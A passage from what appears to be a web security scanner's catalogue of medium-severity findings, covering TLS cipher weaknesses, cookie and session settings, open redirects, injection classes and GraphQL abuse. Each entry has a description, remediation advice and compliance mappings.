Description: Session tokens remain valid indefinitely or for excessively long periods. Long-lived sessions increase the window of opportunity for session hijacking after token theft.
Remediation: Implement server-side session expiration. Set absolute session timeouts (e.g., 8 hours) and idle timeouts (e.g., 30 minutes). Require re-authentication for sensitive actions.
OWASP Web: A07:2025
MEDIUM FR-140 — Open Redirect
Description: An open redirect vulnerability was detected. The application redirects users to a URL specified in a request parameter without validation. Attackers can craft URLs that redirect victims to malicious sites, facilitating phishing.
Remediation: Validate redirect destinations against a strict whitelist of allowed URLs or origins. Avoid user-controlled redirect targets entirely. Use relative redirects where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A01:2025
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM FR-151 — HTTP Method Override Accepted
Description: The application accepts HTTP method override headers (X-HTTP-Method-Override, X-Method-Override) that substitute the actual HTTP method with a client-specified one. This may bypass access controls that rely on HTTP method restrictions.
Remediation: Disable HTTP method override support unless explicitly required. If required, restrict method overrides to authenticated users and validate that the overridden method is appropriate for the endpoint.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A01:2025
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM FR-156 — Business Logic Flaw — Coupon/Discount Abuse
Description: Coupon or discount codes can be applied multiple times per order, stacked beyond intended limits, or applied to ineligible items. Insufficient validation allows financial loss through discount abuse.
Remediation: Enforce server-side usage limits per coupon and per user. Validate coupon applicability rules on the server. Implement transactional locks to prevent race condition exploitation.
OWASP Web: A04:2025
MEDIUM FR-159 — Rate Limiting Not Enforced on Sensitive Endpoint
Description: No rate limiting is applied to sensitive endpoints such as OTP verification, coupon redemption, password reset, or API calls. Attackers can make unlimited requests to brute-force codes or automate abuse.
Remediation: Implement per-IP and per-user rate limiting on all sensitive endpoints. Use exponential backoff or CAPTCHA challenges after threshold violations.
OWASP Web: A04:2025
MEDIUM FR-168 — Authentication — Concurrent Session Not Restricted
Description: The application allows unlimited concurrent sessions for a single user account. This makes it impossible to detect or prevent session sharing or account compromise based on active session count.
Remediation: Implement concurrent session controls with configurable limits. Notify users of new sessions and provide session management (view and terminate active sessions).
OWASP Web: A07:2025
MEDIUM FR-169 — HTTP Methods: Unsafe Methods Enabled
Description: The web server responds to dangerous HTTP methods including PUT (file upload), DELETE (file deletion), or TRACE (XST — Cross-Site Tracing). These methods may enable unauthorized modification of server content or session token theft.
Remediation: Disable unused HTTP methods at the web server level. Explicitly allow only the HTTP methods required by the application. Disable TRACE globally.
OWASP Web: A05:2025
MEDIUM FR-170 — Clickjacking Vulnerability
Description: The application does not implement anti-clickjacking protections (X-Frame-Options or CSP frame-ancestors). The page can be embedded in an attacker-controlled iframe to trick users into performing unintended actions.
Remediation: Add 'X-Frame-Options: DENY' or 'Content-Security-Policy: frame-ancestors none' to all application responses. Use the CSP frame-ancestors directive for more granular control.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2025
NIST 800-53: SC-18, CM-6
PCI DSS 4: 6.2.4
MEDIUM FR-186 — HTTP Security Header — X-Frame-Options Incorrectly Configured
Description: The X-Frame-Options header is present but misconfigured (e.g., set to ALLOWALL or using an invalid value). An incorrect configuration may still allow the page to be framed, enabling clickjacking attacks.
Remediation: Set X-Frame-Options to 'DENY' or 'SAMEORIGIN'. Validate the header value is correctly parsed by target browsers.
OWASP Web: A05:2025
MEDIUM FR-187 — Content-Security-Policy — Unsafe-Eval Allowed
Description: The Content-Security-Policy header contains 'unsafe-eval', which allows the use of eval(), setTimeout(), setInterval() with string arguments, and new Function(). This significantly weakens XSS protections.
Remediation: Remove 'unsafe-eval' from the CSP. Refactor code that relies on eval() to use safer alternatives. Review all dynamic code execution patterns.
OWASP Web: A05:2025
MEDIUM FR-188 — SSL/TLS Forward Secrecy: Not Supported
Description: The server does not support cipher suites that provide Perfect Forward Secrecy (PFS). Without PFS, a compromise of the server's private key allows decryption of all previously captured TLS sessions.
Remediation: Enable ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) cipher suites. Disable static RSA key exchange. Prefer ECDHE-RSA or ECDHE-ECDSA cipher suites.
OWASP Web: A02:2025
MEDIUM FR-191 — Sensitive Data in GET Request Parameters
Description: Sensitive data (passwords, session tokens, personal information) is transmitted in GET request query parameters. GET parameters are logged in server logs, browser history, and Referer headers, exposing sensitive values.
Remediation: Transmit sensitive data via POST request bodies over HTTPS. Never include credentials, session tokens, or sensitive identifiers in URL query parameters.
OWASP Web: A02:2025
MEDIUM FR-192 — Missing Rate Limiting on Password Reset
Description: The password reset endpoint does not enforce rate limiting. An attacker can repeatedly request password resets for target accounts, potentially triggering email flooding or token enumeration.
Remediation: Implement rate limiting on the password reset endpoint (per IP and per account). Add CAPTCHA after a threshold of requests.
OWASP Web: A07:2025
MEDIUM FR-193 — Insecure Redirect After Authentication
Description: The post-authentication redirect URL is controlled by a user-supplied parameter (e.g., next=, redirect=, returnUrl=) without validation. An attacker can craft a phishing URL that redirects users to a malicious site after successful login.
Remediation: Validate post-login redirect URLs against a whitelist. Use relative paths for redirects. Never redirect to externally supplied URLs without validation.
OWASP Web: A01:2025
MEDIUM FR-201 — Potential CDN Origin Bypass
Description: A request with IP spoofing headers (X-Forwarded-For, X-Real-IP) returned a different Server header, suggesting the origin server may be reachable without passing through the CDN. Direct access to the origin bypasses CDN-level WAF and rate-limiting.
Remediation: Restrict origin server to accept connections only from CDN IP ranges. Implement firewall rules to block direct internet access to the origin.
OWASP Web: A05:2025
MEDIUM FR-212 — Information Disclosure: Debug/Trace Headers
Description: Debug or trace response headers (e.g., X-Debug-Info, X-Request-Id with sensitive stack details, X-Trace) expose internal application state, timing, or infrastructure details that assist attackers.
Impact: Debug and trace headers leak internal application state, stack traces, request identifiers, and server-side processing details. This information dramatically accelerates vulnerability discovery by revealing code paths, framework internals, and error handling behavior.
Remediation: Strip all debug and trace headers from production responses. Review reverse proxy and application framework header emission configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.5.1
MEDIUM FR-217 — Subdomain Takeover Indicator
Description: A response pattern suggesting a potential subdomain takeover was detected. The subdomain may be claimable on the identified external platform.
Remediation: Verify whether the external service account has been deprovisioned. Remove the DNS record or re-claim the service endpoint.
OWASP Web: A05:2025
MEDIUM FR-241 — WordPress wp-cron.php Publicly Accessible
Description: The WordPress wp-cron.php file is publicly accessible and can be triggered by external requests. Unrestricted access allows attackers to trigger scheduled tasks at will, potentially causing resource exhaustion or unintended side effects.
Remediation: Disable the default WP-Cron mechanism and replace it with a real server cron job. Block direct external access to wp-cron.php via web server configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
OWASP Web: A05:2025
MITRE ATT&CK: T1190 (Initial Access), T1499 (Impact)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 6.5.1
MEDIUM FR-247 — WordPress Directory Listing Enabled
Description: Directory listing is enabled on a WordPress directory (wp-content, plugins, themes, or uploads). This allows enumeration of installed plugins, themes, media files, and backup files.
Remediation: Disable directory listing via the web server configuration. Add Options -Indexes to .htaccess or equivalent in nginx configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
MEDIUM FR-254 — SSL/TLS Certificate: Self-Signed
Description: The server presented a self-signed TLS certificate not anchored to a publicly trusted CA, preventing clients from verifying the server's identity and enabling trivial MITM attacks.
Impact: Self-signed certificates are not validated by any trusted certificate authority, meaning clients cannot verify the server's identity. An attacker can trivially generate their own self-signed certificate and perform man-in-the-middle attacks without detection.
Remediation: Replace self-signed certificates with certificates issued by a trusted CA. Use ACME/Let's Encrypt for automated issuance.
OWASP Web: A02:2025
MEDIUM FR-256 — SSL/TLS Vulnerability: SWEET32
Description: 3DES cipher suites are accepted, making the server susceptible to the SWEET32 birthday attack (CVE-2016-2183). An attacker can recover plaintext from long-lived sessions using 3DES by collecting enough ciphertext blocks.
Impact: SWEET32 exploits the birthday bound weakness in 64-bit block ciphers (3DES, Blowfish) used in TLS. After capturing approximately 32GB of ciphertext from a long-lived session, an attacker can recover plaintext blocks, potentially exposing session cookies and authentication tokens.
Remediation: Disable all 3DES cipher suites. Use AEAD ciphers (AES-GCM) only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
MEDIUM FR-257 — SSL/TLS Vulnerability: BEAST
Description: TLSv1.0 is enabled with CBC cipher suites, making the server susceptible to the BEAST attack (CVE-2011-3389). BEAST allows an active MITM to partially decrypt TLS-encrypted session data.
Impact: BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability in TLS 1.0's CBC-mode cipher initialization to decrypt HTTPS cookies and authentication tokens. An attacker with network access can inject chosen plaintext to recover session secrets, enabling session hijacking.
Remediation: Disable TLSv1.0 and CBC cipher suites. Use TLS 1.2/1.3 with AEAD ciphers only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM FR-258 — SSL/TLS Vulnerability: LUCKY13
Description: CBC cipher suites are accepted, making the server susceptible to the LUCKY13 timing attack (CVE-2013-0169). LUCKY13 allows an attacker to recover plaintext from CBC-mode TLS using timing side-channels.
Impact: LUCKY13 (CVE-2013-0169) is a timing side-channel attack against CBC-mode cipher suites in TLS. An attacker with network-level access can recover plaintext from encrypted sessions by measuring processing time differences.
Remediation: Prefer AEAD cipher suites (AES-GCM/AES-CCM) over CBC-mode ciphers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM FR-260 — SSL/TLS Ciphers: Weak Cipher
Description: A weak or deprecated cipher suite was identified in the server's TLS configuration. Weak ciphers may allow passive decryption of TLS traffic by a well-resourced attacker.
Remediation: Disable all weak cipher suites. Use only AEAD ciphers (AES-128-GCM, AES-256-GCM, ChaCha20-Poly1305). Enable TLS 1.3 only for new deployments.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
MEDIUM FR-282 — CSV / Formula Injection
Description: CSV/formula injection was detected. User-supplied input containing spreadsheet formula characters (=, +, -, @) is included in CSV exports without sanitisation and may execute in spreadsheet applications opened by staff.
Remediation: Prefix cell values containing formula characters with a single quote or sanitise them before CSV export. Warn users about opening untrusted CSV files.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A03:2025
MITRE ATT&CK: T1059 (Execution), T1566.002 (Initial Access)
NIST 800-53: SI-10, SI-7
PCI DSS 4: 6.2.4
MEDIUM FR-283 — CRLF Injection
Description: CRLF injection was detected. Carriage return and line feed characters in user input are reflected in HTTP response headers, allowing attackers to inject arbitrary headers or split responses.
Remediation: Strip CRLF characters from all user input used in HTTP header values. Apply output encoding at HTTP header construction points.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2025
MITRE ATT&CK: T1190 (Initial Access), T1539 (Collection)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4, 6.5.1
MEDIUM FR-285 — HTTP Parameter Pollution (HPP)
Description: HTTP Parameter Pollution was detected. Duplicate query or body parameters with different values are processed inconsistently, potentially bypassing input validation or authentication checks.
Remediation: Consistently parse HTTP parameters and reject or handle duplicate parameter names explicitly. Ensure security controls operate on the same parameter value the application uses.
OWASP Web: A04:2025
MEDIUM FR-286 — HTTP Method Tampering
Description: An unexpected HTTP method was accepted by the server. Accepting non-standard methods (e.g., TRACE, PUT, DELETE, PATCH) may bypass WAF rules or expose administrative functionality.
Remediation: Restrict accepted HTTP methods to those explicitly required by the application. Return 405 Method Not Allowed for all other methods.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A04:2025
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM FR-287 — HTTP Methods: Unsafe Methods Enabled
Description: The HTTP TRACE method is enabled. TRACE echoes the full request including HTTP headers back to the client, enabling Cross-Site Tracing (XST) attacks that may expose HttpOnly cookies via XSS.
Remediation: Disable the HTTP TRACE method in the web server configuration (TraceEnable Off in Apache; disabling in nginx).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1185 (Collection), T1539 (Collection)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 6.2.4, 6.5.1
MEDIUM FR-298 — Insufficient Auth Failure Logging / No Brute-Force Detection
Description: Authentication failures are not logged or no alerting is configured for repeated failures. Without logging, brute-force attacks may go undetected until after a successful compromise.
Remediation: Log all authentication failures with timestamp, source IP, and username. Configure alerts for repeated failures from a single IP. Integrate with a SIEM for real-time detection.
OWASP Web: A09:2025
MEDIUM FR-299 — Timing Attack — Non-Constant-Time Authentication
Description: A statistically significant timing difference was observed between valid and invalid authentication attempts. Timing oracle attacks allow attackers to enumerate valid usernames or infer partial credential validity.
Remediation: Use constant-time comparison functions for all credential verification. Ensure responses are returned after a fixed delay regardless of outcome.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1522 (Credential Access)
NIST 800-53: IA-3, SC-8
PCI DSS 4: 8.3.1
MEDIUM FR-303 — JWT — Missing Expiry Claim (No exp)
Description: The JWT token does not contain an 'exp' (expiry) claim. Tokens without expiry never become invalid, meaning a stolen token grants permanent access until the signing key is rotated.
Remediation: Include an 'exp' claim in all JWTs. Set a short token lifetime appropriate for the use case. Implement token refresh flows.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1539 (Collection)
NIST 800-53: IA-5, SC-23, AC-12
PCI DSS 4: 8.2.4, 8.3.9
MEDIUM FR-310 — Session Timeout Absent or Excessive
Description: The session does not expire after a reasonable period of inactivity, or no session timeout is configured. Long-lived sessions increase the window of opportunity for session hijacking attacks.
Remediation: Implement server-side session timeout. Expire idle sessions after 15-30 minutes for sensitive applications. Set appropriate cookie Max-Age/Expires attributes.
OWASP Web: A07:2025
MEDIUM FR-311 — Excessive Session Timeout Configured
Description: The session cookie or JWT has an excessive lifetime (e.g., multiple days or weeks) that does not reflect the risk level of the application. Long-lived tokens extend the exposure window after theft.
Remediation: Set session lifetimes appropriate to the application sensitivity. Use refresh token patterns for long-lived access.
OWASP Web: A07:2025
MEDIUM FR-312 — Session Cookie SameSite=None Without Secure Flag
Description: A session cookie is set with SameSite=None but without the Secure flag. Without Secure, the cookie is transmitted over plaintext HTTP when SameSite=None is used, enabling cross-site transmission of session tokens.
Remediation: Always set the Secure flag alongside SameSite=None. Enforce HTTPS for all endpoints that issue cookies.
OWASP Web: A02:2025
MEDIUM FR-313 — Missing Secure Cookie Attribute: Secure
Description: A non-session cookie lacks the Secure attribute. Without Secure, the cookie is transmitted over unencrypted HTTP connections.
Remediation: Set the Secure flag on all cookies. Enforce HTTPS site-wide.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM FR-314 — Missing Secure Cookie Attribute: HttpOnly
Description: A non-session cookie lacks the HttpOnly attribute. Without HttpOnly, client-side JavaScript can read the cookie value, enabling theft via XSS.
Remediation: Set the HttpOnly flag on all cookies that do not require JavaScript access.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM FR-315 — Missing Secure Cookie Attribute: SameSite
Description: A cookie lacks the SameSite attribute. Without SameSite, the cookie is sent with cross-site requests, enabling CSRF attacks.
Remediation: Set SameSite=Strict or SameSite=Lax on all cookies. Use SameSite=None only when cross-site sharing is required (and always with Secure).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A04:2025
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM FR-316 — Misconfigured Secure Cookie Attribute: SameSite
Description: A cookie has a misconfigured SameSite attribute (e.g., SameSite=None without Secure). Misconfigured SameSite settings can negate CSRF protections or expose cookies over plaintext HTTP.
Remediation: Audit all cookie SameSite configurations. Set SameSite=Strict where possible and always pair SameSite=None with Secure.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A04:2025
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM FR-317 — No Logout (Logoff) Function Detected
Description: No logout or logoff function was identified in the application. Without an explicit logout mechanism, users cannot terminate their sessions, and sessions remain active until they expire naturally.
Remediation: Implement a logout endpoint that invalidates the server-side session and clears session cookies. Make the logout function visible and accessible from all authenticated pages.
OWASP Web: A07:2025
MEDIUM FR-318 — No Concurrent Session Limit Detected
Description: The application allows unlimited concurrent sessions for a single user account. Without a concurrent session limit, compromised credentials can be exploited from multiple locations simultaneously without detection.
Remediation: Implement a concurrent session limit appropriate to the application's risk profile. Alert users when new sessions are established from new locations.
OWASP Web: A07:2025
MEDIUM FR-331 — Exposed Metrics Endpoint with Sensitive Data
Description: An application metrics or health check endpoint is publicly accessible and exposes sensitive information such as database credentials, internal hostnames, configuration values, or memory contents.
Remediation: Restrict metrics endpoints to internal networks or require authentication. Remove sensitive data from metric exports.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1592.002 (Reconnaissance), T1552.001 (Credential Access)
NIST 800-53: CM-7, AC-3, SI-12
PCI DSS 4: 6.5.1, 1.3.2
MEDIUM FR-337 — GraphQL Batch Query Attack Possible
Description: GraphQL batch query execution is enabled without rate limiting. Batching allows multiple operations in a single request, enabling brute-force attacks on authentication fields and bypassing per-request rate limits.
Remediation: Limit the number of operations allowed in a single GraphQL batch request. Apply per-operation rate limiting.
OWASP Web: A04:2025
MEDIUM FR-406 — CBC Mode Cipher Suites Accepted
Description: The server accepts TLS cipher suites using Cipher Block Chaining (CBC) mode, which are vulnerable to padding oracle attacks such as BEAST and LUCKY13.
Impact: An attacker may exploit CBC padding oracle vulnerabilities to decrypt TLS traffic or recover plaintext data from encrypted sessions.
Remediation: Disable CBC-mode cipher suites on the server. Prefer AEAD ciphers such as AES-GCM or ChaCha20-Poly1305.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
MEDIUM FR-407 — SSL/TLS Forward Secrecy: Cipher Suites
Description: The server accepts cipher suites that do not provide forward secrecy (e.g., RSA key exchange without ECDHE or DHE), meaning past sessions can be decrypted if the server's private key is compromised.
Impact: If the server's private key is later compromised, all previously recorded TLS sessions using these cipher suites can be retroactively decrypted, exposing all historical encrypted communications.
Remediation: Configure the server to only accept cipher suites with forward secrecy (ECDHE or DHE key exchange). Disable static RSA key exchange.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
MEDIUM FR-416 — Nikto: {_nik_title}
Description: A web server vulnerability or misconfiguration was identified by the Nikto scanner that does not map to a known Fracture finding category. The specific details are in the finding title.
Impact: The specific impact depends on the vulnerability identified. Nikto findings typically indicate server misconfigurations, information disclosure, or known software vulnerabilities that could be exploited for unauthorized access or data exposure.
Remediation: Review the specific Nikto finding details and apply the recommended remediation for the identified vulnerability or misconfiguration.
Effort: Moderate
OWASP Web: A06:2025 Vulnerable and Outdated Components
NIST 800-53: SI-2
MEDIUM FR-417 — Non-Standard Cipher Suites Accepted
Description: The server accepts non-standard or experimental TLS cipher suites that may not have undergone the same level of cryptographic review as standard IANA-registered suites.
Impact: Non-standard cipher suites may contain implementation flaws or use untested cryptographic constructions, potentially allowing an attacker to exploit weaknesses for traffic decryption or session compromise.
Remediation: Configure the server to accept only well-known, IANA-registered cipher suites. Remove any experimental, vendor-specific, or non-standard cipher suites from the configuration.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
MEDIUM FR-419 — SHA-1 HMAC Cipher Suites Accepted
Description: The server accepts TLS cipher suites using SHA-1 for HMAC authentication. SHA-1 is considered cryptographically weak due to demonstrated collision attacks.
Impact: While practical exploitation of SHA-1 HMAC in TLS is currently difficult, the use of SHA-1 does not meet modern cryptographic standards. Future attacks may make exploitation feasible, and compliance frameworks increasingly prohibit SHA-1.
Remediation: Configure the server to prefer cipher suites using SHA-256 or SHA-384 for HMAC. Disable all SHA-1-based cipher suites.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-13
PCI DSS 4: 4.2.1
MEDIUM FR-420 — SSL/TLS Forward Secrecy: {_tsf_id}
Description: A specific forward secrecy configuration issue was identified by testssl. The finding ID provides details on the exact cipher suite or key exchange mechanism lacking forward secrecy.
Impact: Without forward secrecy, if the server's long-term private key is compromised at any point in the future, all previously recorded encrypted sessions using affected cipher suites can be retroactively decrypted.
Remediation: Enable forward secrecy by configuring the server to use ECDHE or DHE key exchange exclusively. Disable static RSA key exchange and any cipher suites that do not provide forward secrecy.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
MEDIUM FR-422 — TLSv1.3 Not Supported
Description: The server does not support TLS 1.3, the latest version of the Transport Layer Security protocol, which provides improved security and performance over TLS 1.2.
Impact: Without TLS 1.3, the server lacks protections including mandatory forward secrecy, removal of legacy cipher suites, encrypted handshake, and 0-RTT resumption. Clients connecting with TLS 1.2 may use weaker cipher suites.
Remediation: Enable TLS 1.3 support on the server. Most modern web servers and load balancers support TLS 1.3 with a configuration change.
Effort: Easy
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM FR-424 — {proto} Enabled
Description: A deprecated or insecure protocol version is enabled on the server. The specific protocol (e.g., SSLv3, TLSv1.0, TLSv1.1) is identified in the finding title.
Impact: Deprecated protocols contain known vulnerabilities (POODLE for SSLv3, BEAST for TLSv1.0) that allow attackers to decrypt encrypted traffic. Compliance frameworks universally prohibit these protocols.
Remediation: Disable the deprecated protocol on the server and enforce TLS 1.2 as the minimum supported version, with TLS 1.3 preferred.
Effort: Easy
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM FR-425 — Cookie Prefix Violation: __Host-
Description: A cookie using the __Host- prefix does not meet RFC 6265bis requirements (must have Secure flag, Path=/, no Domain attribute).
Impact: An attacker may be able to set or overwrite the cookie from a subdomain or insecure context, bypassing the intended isolation guarantee.
Remediation: Ensure __Host- cookies include the Secure attribute, set Path=/, and omit the Domain attribute.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
MEDIUM FR-426 — Cookie Prefix Violation: __Secure-
Description: A cookie using the __Secure- prefix is missing the Secure flag required by RFC 6265bis.
Impact: The cookie may be transmitted over unencrypted HTTP, exposing its value to network attackers.
Remediation: Set the Secure attribute on all __Secure- prefixed cookies.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
MEDIUM FR-429 — JavaScript Source Map Exposed
Description: A .js.map source map file is publicly accessible, exposing the original unminified source code.
Impact: Attackers can read original variable names, comments, internal API endpoints, and business logic to find vulnerabilities.
Remediation: Remove source map files from production deployments or restrict access to authenticated users.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1592.004 (Reconnaissance)
NIST 800-53: SC-28
PCI DSS 4: 6.2.4
MEDIUM FR-430 — Inline Source Map in JavaScript Bundle
Description: A JavaScript bundle contains an inline sourceMappingURL data URI embedding the original source code.
Impact: The full original source code is delivered to every visitor, exposing internal logic and potential secrets.
Remediation: Remove inline source maps from production builds; configure the build tool to exclude sourceMappingURL from output.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-28
MEDIUM FR-433 — Potential Client-Side Prototype Pollution
Description: JavaScript files use known prototype pollution sinks such as Object.assign, _.merge, or $.extend with user-controllable input.
Impact: An attacker may be able to manipulate client-side object prototypes via URL parameters or form input, leading to XSS or logic bypass.
Remediation: Replace unsafe merge operations with Object.assign using Object.create(null) targets, or use libraries with prototype pollution protection.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2025 Injection
NIST 800-53: SI-10
MEDIUM FR-439 — WebSocket Missing Origin Validation
Description: A WebSocket endpoint accepts connections from arbitrary origins without validating the Origin header.
Impact: An attacker can establish cross-site WebSocket connections from a malicious page, enabling cross-site WebSocket hijacking.
Remediation: Validate the Origin header during WebSocket upgrade and reject connections from untrusted origins.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
NIST 800-53: SC-23
MEDIUM FR-443 — OAuth Missing State Parameter (CSRF)
Description: The OAuth authorization flow does not require or validate a state parameter for CSRF protection.
Impact: An attacker can forge authorization requests and link their own OAuth account to a victim's session.
Remediation: Generate a cryptographically random state parameter per authorization request and validate it on the callback.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: IA-8
MEDIUM FR-447 — MFA Missing Rate Limiting on OTP
Description: The MFA verification endpoint does not enforce rate limiting on OTP submission attempts.
Impact: An attacker can brute-force short OTP codes within the validity window to bypass MFA.
Remediation: Implement rate limiting and account lockout on the MFA verification endpoint after a small number of failed attempts.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: IA-2
PCI DSS 4: 8.4.2
MEDIUM FR-449 — GraphQL Alias-Based Batching
Description: The GraphQL endpoint processes aliased duplicate queries in a single request, bypassing per-query rate limiting.
Impact: An attacker can issue hundreds of queries in one request to enumerate data or bypass authentication rate limits.
Remediation: Implement query complexity analysis that counts aliases as separate operations, and enforce per-operation rate limits.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A04:2025 Insecure Design
NIST 800-53: SC-5
MEDIUM FR-450 — GraphQL Circular Fragment Accepted
Description: The GraphQL endpoint accepts queries with circular fragment references that could cause infinite recursion.
Impact: An attacker can craft queries with circular fragments to cause excessive server-side processing or crashes.
Remediation: Implement fragment cycle detection in the GraphQL query validator to reject circular references.
Effort: Moderate
